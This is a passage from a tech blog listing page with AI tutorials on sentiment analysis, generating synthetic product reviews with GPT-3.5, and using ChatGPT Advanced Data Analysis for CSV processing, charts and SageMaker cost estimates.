return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage sentence = "This is a neutral sentence without any strong sentiment." sentiment = analyze_sentiment(sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: neutralFor every text item, whether it's a customer review, social media post or news report, the PaLM API can be used for sentiment analysis. To do this, select a prompt that tells your model what it wants to be doing and then request API by typing in the following sentence as positive, negative, or neutral. A prediction that you can print to the console or use in your application will then be generated by this model.Applications of sentiment analysis with generative AISentiment analysis with generative AI can be used in a wide variety of applications, including:Customer feedback analysis: Generative AI models can be used to analyze customer reviews and feedback to identify trends and areas for improvement.Social media monitoring: Generative AI models can be used to monitor social media platforms for brand sentiment and public opinion.Market research: In order to get a better understanding of customer preferences and find new opportunities, Generative AI models may be used for analyzing market research data.Product development: To identify new features and improvements, the use of neural AI models to analyze feedback from customers and product reviews is possible.Risk assessment: Generative AI models can be used to analyze financial and other data to assess risk.Challenges of using generative AI for sentiment analysisWhile generative AI has the potential to revolutionize sentiment analysis, there are also some challenges that need to be addressed:Requirements for data: Generative AI models require large amounts of training data to be effective. This can be a challenge for businesses and organizations that do not have access to large datasets.Model bias: Due to the biases inherent in the data they're trained on, generative AI models can be biased. This needs to be taken into account, as well as steps to mitigate it.Interpretation difficulties: The predictions of the generative AI models can be hard to understand. This makes it difficult to understand why a model made such an estimate, as well as to believe in its results.ConclusionThe potential for Generative AI to disrupt sentiment analysis is enormous. The generative AI models can achieve very high accuracy, scale to analyze a large volume of text, and be custom designed in order to meet the specific needs of different companies and organizations. In order to analyze sentiment for a broad range of text data, generative AI models can be used if you use fast engineering and quality tuning.A powerful new tool that can be applied to understand and analyze human language in new ways is sentiment analysis with generative artificial intelligence. As models of generative AI are improving, we can expect that this technology will be applied to a wider variety of applications and has an important impact on our daily lives and work.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 16355

article-image-generating-synthetic-data-with-llms
Mostafa Ibrahim
09 Nov 2023
8 min read
Save for later

Generating Synthetic Data with LLMs

Mostafa Ibrahim
09 Nov 2023
8 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionIn this article, we will delve into the intricate process of synthetic data generation using LLMs. We will shed light on the concept behind the increasing importance of synthetic data, the prowess of LLMs in generating such data, and practical steps to harness the power of advanced models like OpenAI’s GPT-3.5. Whether you’re a seasoned AI enthusiast or a curious newcomer, embark with us on this enlightening journey into the heart of modern machine learning.What are LLMs?Large Language Models (LLMs) are state-of-the-art machine learning architectures primarily designed for understanding and generating human-like text. These models are trained on vast amounts of data, enabling them to perform a wide range of language tasks, from simple text completion to answering complex questions or even crafting coherent articles. Some examples of LLMs include:1. GPT-3 by OpenAI, with 175 billion parameters and up to 2048 tokens per unit.2. BERT by Google, with 340 million parameters and up to 512 tokens per unit.3. T5 (Text-to-Text Transfer Transformer by Google) with parameters ranging from 60 million to 11 billion depending on the model size. The number of tokens it can process is also influenced by its size and setup.That being said, LLMs, with their cutting-edge capabilities in NLP tasks like question answering and text summarization, are also highly regarded for their efficiency in generating synthetic data.Why Is There A Need for Synthetic Data1) Data ScarcityDo you ever grapple with the challenge of insufficient data to train your model? This dilemma is a daily reality for machine learning experts globally. Given that data gathering and processing are among the most daunting aspects of the entire machine-learning journey, the significance of synthetic data cannot be overstated.2) Data Privacy & SecurityReal-world data often contains sensitive information. For industries like healthcare and finance, there are stringent regulations around data usage. Such data may include customer’s credit cards, buying patterns, and diseases. Synthetic data can be used without compromising privacy since it doesn't contain real individual information.The Process of Generating Data with LLMsThe journey of producing synthetic data using Large Language Models begins with the preparation of seed data or guiding queries. This foundational step is paramount as it sets the trajectory for the type of synthetic data one wishes to produce. Whether it's simulating chatbot conversations or creating fictional product reviews, these initial prompts provide LLMs with the necessary context.Once the stage is set, we delve into the actual data generation phase. LLMs, with their advanced architectures, begin crafting text based on patterns they've learned from vast datasets. This capability enables them to produce information that aligns with the characteristics of real-world data, albeit synthesized.Generating Synthetic Data Using OpenAI’s GPT 3.5Step 1: Importing Neseccasry Librariesimport openaiStep 2: Set up the OpenAI API keyopenai.api_key = "Insert Your OpenAI key here"Step 3: Define our synthetic data generation functiondef generate_reviews(prompt, count=1):    reviews = []    for i in range(count):        review_generated = False        while not review_generated:            try:                # Generate a response using the ChatCompletion method                response = openai.ChatCompletion.create(                    model="gpt-3.5-turbo",                    messages=[                        {"role": "system", "content": "You are a helpful assistant."},                        {"role": "user", "content": prompt}                    ]                )                              review = response.choices[0].message['content'].strip()                word_count = len(review.split())                print("word count:", word_count)                # Check if the word count is within the desired range                if 15 <= word_count <= 70:                    print("counted")                    reviews.append(review)                    review_generated = True            except openai.error.OpenAIError as err:                print(f"Encountered an error: {err}")        # Optional: Add a slight variation to the prompt for next iteration        prompt += " Provide another perspective."    return reviewsStep 4: Testing our functionprompt_text = "Write a 25 word positive review for a wireless earbud highlighting its battery life." num_datapoints = 5 generated_reviews = generate_reviews(prompt_text, num_datapoints)Step 5: Printing generated synthetic datafor idx, review in enumerate(generated_reviews):    print(f"Review {idx + 1}: {review}")Output:Review 1: The battery life on these wireless earbuds is absolutely incredible! I can enjoy hours of uninterrupted music without worrying about recharging. Truly impressive!Review 2: "The battery life of these wireless earbuds is phenomenal! I can enjoy my favorite music for hours without worrying about recharging. Truly impressive!"Review 3: This wireless earbud is a game-changer! With an exceptional battery life that lasts all day, I can enjoy uninterrupted music and calls without any worries. It's a must-have for people on the go. Another perspective: As a fitness enthusiast, the long battery life of this wireless earbud is a true blessing. It allows me to power through my workouts without constantly needing to recharge, keeping me focused and motivated.Review 4: This wireless earbud's exceptional battery life is worth praising! It lasts all day long, keeping you immersed in your favorite tunes. A real game-changer for music enthusiasts.Review 5: The battery life of these wireless earbuds is exceptional, lasting for hours on end, allowing you to enjoy uninterrupted music or calls. They truly exceed expectations!Considerations and PitfallsHowever, the process doesn't conclude here. Generated data may sometimes have inconsistencies or lack the desired quality. Hence, post-processing, which involves refining and filtering the output, becomes essential. Furthermore, ensuring the variability and richness of the synthetic data is paramount, as too much uniformity can lead to overfitting when the data is employed for machine learning purposes. This refinement process should aim to eliminate any redundant or unrepresentative samples that could skew the model's learning process.Moreover, validating the synthetic data ensures that it meets the standards and purposes for which it was intended, ensuring both authenticity and reliability.ConclusionThroughout this article, we've navigated the process of synthetic data generation powered by LLMs. We've explained the underlying reasons for the escalating prominence of synthetic data, showcased the unparalleled proficiency of LLMs in creating such data, and provided actionable guidance to leverage the capabilities of pre-trained LLM models like OpenAI’s GPT-3.5.For all AI enthusiasts, we hope this exploration has deepened your appreciation and understanding of the evolving tapestry of machine learning,  LLMs, and synthetic data. As we stand now, it is clear that both synthetic data and LLMs will be central to many breakthroughs to come.Author BioMostafa Ibrahim is a dedicated software engineer based in London, where he works in the dynamic field of Fintech. His professional journey is driven by a passion for cutting-edge technologies, particularly in the realms of machine learning and bioinformatics. When he's not immersed in coding or data analysis, Mostafa loves to travel.Medium
Read more
  • 0
  • 0
  • 20185
article-image-getting-started-with-chatgpt-advanced-data-analysis-part-2
Joshua Arvin Lat
08 Nov 2023
10 min read
Save for later

Getting Started with ChatGPT Advanced Data Analysis- Part 2

Joshua Arvin Lat
08 Nov 2023
10 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionChatGPT Advanced Data Analysis is an invaluable tool that significantly speeds up the analysis and processing of our data and our files. In the first part of this post, we showcased how to use this feature to generate a CSV file containing randomly generated values. In addition to this, we demonstrated how to utilize different prompts in order to process data stored in files and generate visualizations. In this second part, we’ll build on top of what we learned already and work on more complex examples and scenarios.If you’re looking for the link to the first part, here it is: Getting Started with ChatGPT Advanced Data Analysis- Part 1That said, we will tackle the Example 03, Example 04, and Current Limitations sections in this post:Example 01 — Generating a CSV file (discussed in Part 1)Example 02 — Analyzing an uploaded CSV file, transforming the data, and generating charts  (discussed in Part 1)Example 03 — Processing and analyzing an iPython notebook fileExample 04 — Processing and analyzing the contents of a ZIP fileCurrent LimitationsWhile working on the hands-on examples in this post, you’ll be surprised that ChatGPT Advanced Data Analysis is able to process and analyze various types of files such as Jupyter Notebook (.ipynb) and even ZIP files containing multiple files. As you dive into the features of ChatGPT Advanced Data Analysis, you'll discover that it serves as a valuable addition to your data analysis toolkit. This will help you unlock various ways to optimize your workflow and significantly accelerate data-driven decision-making.Without further ado, let’s begin!Example 03: Processing and analyzing an iPython notebook fileIn this third example, we will process and analyze an iPython notebook file containing blocks of code for deploying machine learning models. Here, we’ll use an existing iPython notebook file I prepared while writing my 1st book “Machine Learning with Amazon SageMaker Cookbook”. If you're wondering what an iPython notebook file is, it's essentially a document produced by the Jupyter Notebook app, which contains both computer code (like Python) and rich text elements (paragraphs, equations, figures, links, etc.). These notebooks are both human-readable documents containing the analysis description and the results (like visualizations) as well as executable code that can be run to perform data analysis. It’s popular among data scientists and researchers for creating and sharing documents that contain live code, equations, visualizations, and narrative text.Now that we have a better idea of what iPython notebook (.ipynb) files are, let’s proceed with our 3rd example:STEP # 01: Open a new browser tab. Navigate to the following link and Download the .ipynb file to your local machine by clicking Download raw file:https://github.com/PacktPublishing/Machine-Learning-with-Amazon-SageMaker-Cookbook/blob/master/Chapter09/03%20-%20Hosting%20multiple%20models%20with%20multi-model%20endpoints.ipynbImage 17 — Downloading the IPython Notebook .ipynb fileTo download the file, simply click the download button highlighted in Image 17. This should download the .ipynb file to your local machine.STEP # 02: Navigate back to the browser tab where you have your ChatGPT session open and create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 18 — Using Advanced Data AnalysisSTEP # 03: Upload the .ipynb file from your local machine to the new chat session and then run the following prompt:What's the ML instance type used in the example?This should yield the following response:Image 19 — Analyzing the uploaded file and identifying what ML instance type is used in the exampleIf you’re wondering what a machine learning (ML) instance is, you can think of it as a server or computer running specific machine learning workloads (such as training and serving machine learning models). Given that running these ML instances could be expensive, it’s best if we estimate the cost of running these instances!STEP # 04: Next, run the following prompt to locate the block of code where the ML instance type is mentioned or used:Print the code block(s) where this ML instance type is usedImage 20 — Locating the block of code where the ML instance type is usedCool, right? Here, we can see that ChatGPT can help us identify blocks of code using the right set of prompts. Make sure to verify the results and files produced by ChatGPT as you might find discrepancies or errors.STEP # 05: Run the following prompt to update the ML instance used in the previous block of code:Update the code block and use an ml.g5.2xlarge instead.Image 21 — Using ChatGPT to perform code modification instructionsHere, we can see that ChatGPT can easily perform code modification instructions as well. Note that ChatGPT is not limited to simply replacing certain portions of code blocks. It is also capable of generating code from scratch! In addition to this, it is capable of reading blocks of code as well.STEP # 06: Run the following prompt to generate a chart comparing the estimated cost per month when running ml.t2.medium and ml.g5.2xlarge inference endpoint instances:Generate a chart comparing the estimated cost per month when running an ml.t2.medium vs an ml.g5.2xlarge SageMaker inference endpoint instanceImage 22 — Estimated monthly cost comparison of running an ml.t2.medium instance vs ml.g5.2xlarge instanceMake sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.Now, let’s proceed with our final example.Example 04: Processing and analyzing the contents of a ZIP fileIn this final example, we will compare the estimated cost per month of running the ML instances in each of the chapters of my book “Machine Learning with Amazon SageMaker Cookbook”. Of course, the assumption in this example is that we’ll be running the ML instances for an entire month. In reality, we’ll only be running these examples for a few seconds (to at most a few minutes).STEP # 01: Navigate to the following link:https://github.com/PacktPublishing/Machine-Learning-with-Amazon-SageMaker-CookbookSTEP # 02:Click Code and then click Download ZIP.Image 23 — Downloading the ZIP file containing the files of the repositoryThis will download a ZIP file containing all the files inside the repository to your local machine.STEP # 03: Create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 24 — Choosing Advanced Data AnalysisSTEP # 04: Upload the downloaded Zip file from an earlier step to the new chat session (using the + button). Enter the following prompt to compare the estimated cost per month associated with running each of the examples per chapter:Analyze the contents of the ZIP file and perform the following: - for each of the directories, identify the ML instance types used - compare the estimated cost per month associated to running the ML instance types in the examples stored in each directory - group the estimated cost per month per chapter directoryThis should process the contents of the ZIP file we uploaded and yield the following response:Image 25 — Comparing the estimated cost per month per chapterWow, that seems expensive! Of course, we will NOT be running these resources for an entire month! In my first book “Machine Learning with Amazon SageMaker Cookbook”, the resources in each of the examples and recipes are only run for a few seconds to at most a few minutes and deleted almost right away. Since we only pay for what we use in Amazon Web Services (AWS), it should only cost a few dollars to complete all the examples in the book.Note that this example can be further improved by utilizing and uploading a spreadsheet with the actual price per hour of each of these instances. In addition to this, it is important to note that there are other cost factors not taken into account in this example as only the cost of running the instances are included. That said, we should also take into account the cost associated with the storage costs associated with the storage volumes attached to the instances, as well as the estimated charges for using other cloud services and resources in the account.STEP # 05: Finally, run the following prompt to compare the estimated monthly cost per chapter when running the examples of the book:Generate a bar chart comparing the estimated monthly cost per chapterThis should yield the following response:Image 26 — Bar chart comparing the estimated monthly cost for running the ML instance types per chapterCool, right? Here, we can see a bar chart that helps us compare the estimated monthly cost of running the examples in each chapter. Again, this is just for demonstration purposes as we will only be running the ML instances for a few seconds to at most a few minutes. This would mean that the actual cost would only be a tiny fraction of the overall monthly cost. In addition to this, it is important to note that there are other cost factors not taken into account in this example as only the cost of running the instances are included. Given that we’re just demonstrating the power of ChatGPT Advanced Data Analysis in this post, this simplified example should do the trick! Finally, make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.Current LimitationsBefore we end this tutorial, it is essential that we mention some of the current limitations (as of writing) when using ChatGPT Advanced Data Analysis. First, there is a file size limitation which restricts users to only uploading files up to a maximum size of 500 MB per file. This could affect those trying to analyze large datasets since they’ll be forced to divide larger files into smaller portions. In addition to this, ChatGPT retains uploaded files only during the active conversation and for an additional three hours after the conversation has been paused. Files are automatically deleted which would require users to re-upload the files to continue the analysis. Finally, we need to be aware that the execution of the instructions is done inside a sandboxed environment. This means that we are currently unable to have external integrations and perform real-time searches. Given that ChatGPT Advanced Data Analysis is still an experimental feature (that is, in Beta mode), there may still be a few limitations and issues being resolved behind the scenes. Of course, by the time you read this post, it may no longer be in Beta!That’s pretty much it. At this point, you should have a great idea on what you can accomplish using ChatGPT Advanced Data Analysis. Feel free to try different prompts and experiment with various scenarios to help you discover innovative ways to visualize and interpret your data for better decision-making.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.
Read more
  • 0
  • 0
  • 16362

article-image-getting-started-with-chatgpt-advanced-data-analysis-part-1
Joshua Arvin Lat
08 Nov 2023
10 min read
Save for later

Getting Started with ChatGPT Advanced Data Analysis- Part 1

Joshua Arvin Lat
08 Nov 2023
10 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionImagine having a spreadsheet containing the certification exam scores of various members of the organization. In the past, we had to spend some time writing code that generates charts from existing comma-separated values (CSV) files and Excel spreadsheets. Instead of writing code, we could also generate charts directly in Google Spreadsheets or Microsoft Excel. We might even be tempted to utilize business intelligence tools for this type of requirement. Now, it is possible to generate charts immediately using the right set of prompts with ChatGPT Advanced Data Analysis!In this two-part post, we will showcase a few examples of what we can do using the ChatGPT Advanced Data Analysis feature. You would be surprised how powerful this capability is for solving various types of requirements and tasks. While the general audience might think of ChatGPT as being limited only to text-based conversations, its advanced data analysis capabilities go beyond just textual interactions. With its ability to understand and process various types of datasets and files, it can produce useful visualizations and perform data analysis and data transformation tasks.To demonstrate what we can do with this feature, we’ll have the following sections in this post:Example 01 — Generating a CSV fileExample 02 — Analyzing an uploaded CSV file, transforming the data, and generating chartsExample 03 — Processing and analyzing an iPython notebook file (discussed in Part 2)Example 04 — Processing and analyzing the contents of a ZIP file (discussed in Part 2)Current Limitations  (discussed in Part 2)Whether you're a student working on a project or an analyst trying to save time on manual data analysis and processing tasks, ChatGPT's Advanced Data Analysis feature can be a game-changer for your data processing needs. That said, let's dive into some of its powerful features and see what we can accomplish using this amazing feature!Example 01: Generating a CSV fileIn this first example, we will (1) enable Advanced data analysis, (2) generate a comma separated values (CSV) file containing random values, and (3) download the CSV file to our local machine. We will use this generated CSV file in the succeeding examples and steps.STEP # 01: Let’s start by signing in to your ChatGPT account. Open a new web browser tab and navigate to https://chat.openai.com/auth/login.Image 01 — Signing in to your OpenAI accountClick Log in and sign in using your registered email address and password. If you don’t have an account yet, make sure to sign up first. Since we will be using the Advanced Data Analysis feature, we need to upgrade our plan to ChatGPT Plus so that we have access to GPT-4 along with other features only available to ChatGPT Plus users.STEP # 02: Make sure that Advanced data analysis is enabled before proceeding.Image 02 — Enabling the Advanced data analysis featureSTEP # 03: Create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 03 — Using Advanced Data AnalysisSTEP # 04: In the chat box with the placeholder text “Send a message”, enter the following prompt to generate a CSV file containing 4 columns with randomly generated values:Generate a downloadable CSV spreadsheet file with 4 columns: - UUID - Name - Team - Score Perform the following: - For the UUID column, generate random UUID values - For the Name column, generate random full names - For the Team column, make sure to select only from the following teams: Technology, Business Development, Operations, Human Resources - For the Score column, generate random whole numbers between 1 to 10 - Have a total of 20 rowsAfter a few seconds, ChatGPT will give us a response similar to what we have in Image 04.Image 04 — ChatGPT generating a CSV fileHere, we can see that ChatGPT was able to successfully generate a CSV file. Awesome, right?STEP # 05: Click download it here to download the generated CSV file to your local machine. Feel free to inspect the downloaded file and verify if the instructions were implemented correctly. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.STEP # 06: Now, click Show work.Image 05 — Code used to generate the CSV fileThis should display the code or script used to perform the operations instructed by the user. You should be able to copy the code, modify it, and run it separately in your local machine or a cloud server.Wasn’t that easy? Now, let’s proceed to our second example.Example 02: Analyzing an uploaded CSV file, transforming the data, and generating chartsIn this second example, we will upload the generated CSV file from the previous example and perform various types of data transformations and analysis.STEP # 01: Create a new chat session by clicking + New Chat. Make sure to select Advanced Data Analysis under the list of options available under GPT-4:Image 06 — Creating a new chat session using Advanced Data AnalysisSTEP # 02: Click the + button and upload the downloaded file from the earlier example. In addition to this, enter the following prompt:Analyze the uploaded CSV file and perform the following: - Group the records by Team - Sort the records from highest to lowest (per team) Display the table and generate a downloadable CSV file containing the final outputThis should yield a response similar to what we have in the following image:Image 07 — Using ChatGPT to analyze the uploaded CSV fileGiven that the data is randomly generated, you will get a different set of results. What’s important is that there are 4 columns: UUID (Universal Unique Identifier), Name, Team, and Score in the generated CSV file and in what is displayed in the table.STEP # 03: Click the Show work button:Image 08 — Code used to read and process the uploaded CSV fileHere, we can see that ChatGPT used Pandas DataFrames to process the data behind the scenes.STEP # 04: Locate and click the download the grouped and sorted CSV file here button. Feel free to inspect the downloaded file. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.STEP # 05: Next, enter the following prompt to generate a bar chart to compare the average scores per team:Generate a bar chart to compare the average scores per teamThis should yield the following response:Image 09 — Generating a bar chartCool, right? Here, we were able to generate a bar chart in ChatGPT. Imagine the different variations, scenarios, and possibilities of what we can do with this feature! Now, let’s check what’s happening behind the scenes in the next step.STEP # 06: Click Show workImage 10 — Code used to generate a bar chartThis should display a block of code similar to what is shown in Image 10. Here, we can see that matplotlib was used to generate the bar chart in the previous step. If you have not used matplotlib before, it’s a popular library for creating static and interactive visualizations in Python. Instead of coding this ourselves, all we need now is the right prompt!STEP # 07: Now, let’s run the following prompt to compare the maximum scores achieved by the members of each team:Generate a bar chart to compare the max scores per teamThis should yield the following response:Image 11 — Generating a bar chart to compare the max scores per teamHere, we see a bar chart comparing the maximum score achieved by the members of each team. Given that the data used was randomly generated in an earlier step, you might get a slightly different chart with different maximum score values per team. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors. STEP # 08: Enter the following prompt to group the records per team and generate a CSV file for each team:Divide the original uploaded CSV file and generate separate downloadable CSV files grouped per teamAfter a few seconds, ChatGPT will give us the following response:Image 12 — Dividing the original uploaded CSV file and generating multiple CSV files per teamFeel free to download the CSV files generated to your local machine.STEP # 09: Click Show workImage 13 — Code used to generate CSV files per teamSTEP # 10: Use the following prompt to generate a ZIP file containing the CSV files from the previous step:Generate a downloadable ZIP file containing the CSV files generated in the previous answerChatGPT should give us the following response:Image 14 — Generating a downloadable ZIP fileHere, we should be able to download the ZIP file to our local machine/laptop. Feel to verify if the CSV files are inside the ZIP file by extracting the contents and reviewing each file extracted.STEP # 11: Run the following prompt to convert the CSV files to XLSX (which is a well-known format for Microsoft Excel documents):Convert each file inside the ZIP file to XLSX and generate a new ZIP containing the XLSX filesChatGPT should give us the following response:Image 15 — ChatGPT generating a ZIP file for usAmazing, right? While we’ve been using CSV files in our examples, it does not mean that we’re limited to these types of files only. Here, we can see that we can work with XLSX files as well.STEP # 12: Download the ZIP file and open it on your local machine/laptop.STEP # 13: Run the following prompt to generate a ZIP file with all the charts generated in the current chat thread:Generate a ZIP file containing all the charts and images generated in this chat threadThis should yield the following response:Image 16 — Generating a ZIP file containing all the charts and images generated in the chat threadAmazing, right? Now, all we need to do is download the ZIP file using the link provided by ChatGPT.STEP # 14: Download the ZIP file and open it on your local machine/laptop. Make sure to always verify the results and files produced by ChatGPT as you might find discrepancies or errors.ConclusionThat wraps up the first part of this post. At this point, you should have a good idea of what you can accomplish using ChatGPT Advanced Data Analysis. However, there’s more in store for us in the second part as we’ll build on top of what we learned already and work on more complex examples and scenarios!If you’re looking for the link to the second part, here it is: Getting Started with ChatGPT Advanced Data Analysis- Part 2.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.
Read more
  • 0
  • 0
  • 15798
Modal Close icon
Modal Close icon